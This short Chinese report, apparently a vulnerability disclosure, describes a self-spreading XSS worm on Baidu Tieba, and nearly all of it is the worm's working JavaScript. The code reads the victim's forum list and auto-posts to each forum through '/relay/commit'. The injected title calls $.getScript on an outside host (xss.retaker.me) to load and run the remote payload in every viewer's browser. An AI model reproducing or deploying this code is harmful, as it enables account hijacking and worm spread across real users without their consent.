百度贴吧XSS蠕虫大量爬行

其中一个帖子 点进去就会自动转发帖子给所有自己i的贴吧

详细说明：

跨站脚本地址
 

//initilize



var forumName = [];



var forumId = [];



for (var i = 0, j = 0; i < PageData.user.user_forum_list.info.length; i++) {



	if (PageData.user.user_forum_list.info[i].user_level > 3) {



		if (PageData.user.user_forum_list.info[i].forum_name!="璐村惂鐩戞帶") {



			forumName[j] = PageData.user.user_forum_list.info[i].forum_name;



			forumId[j] = PageData.user.user_forum_list.info[i].id;



			j++;



		}



	}



}







function madeit(myKw, myFid) {



	var c = rich_postor._getData();



  c.content="\\u8bf7\\u5141\\u8bb8\\u6211\\u505a\\u4e00\\u4e2a\\u5fe7\\u4f24\\u7684\\u8868\\u60c5\\uff0c\\u662f\\u5fe7\\u4f24\\u54e6\\uff01";



	c.ftid = c.fid;



	c.ptid = "2337372175";



	c.title = '\\u70b9\\u8fdb\\u6765\\u6709..",a:$.getScript(\\'//xss.retaker.me/1.js\\'),a:"';



	c.fid = myFid;



	c.kw = myKw;



	$.post("/relay/commit", c);



}



//now begin!



for (j = 0; j < forumName.length; j++) {



	setTimeout("madeit('" + forumName[j] + "','" + forumId[j] + "')", 1500 * j);



}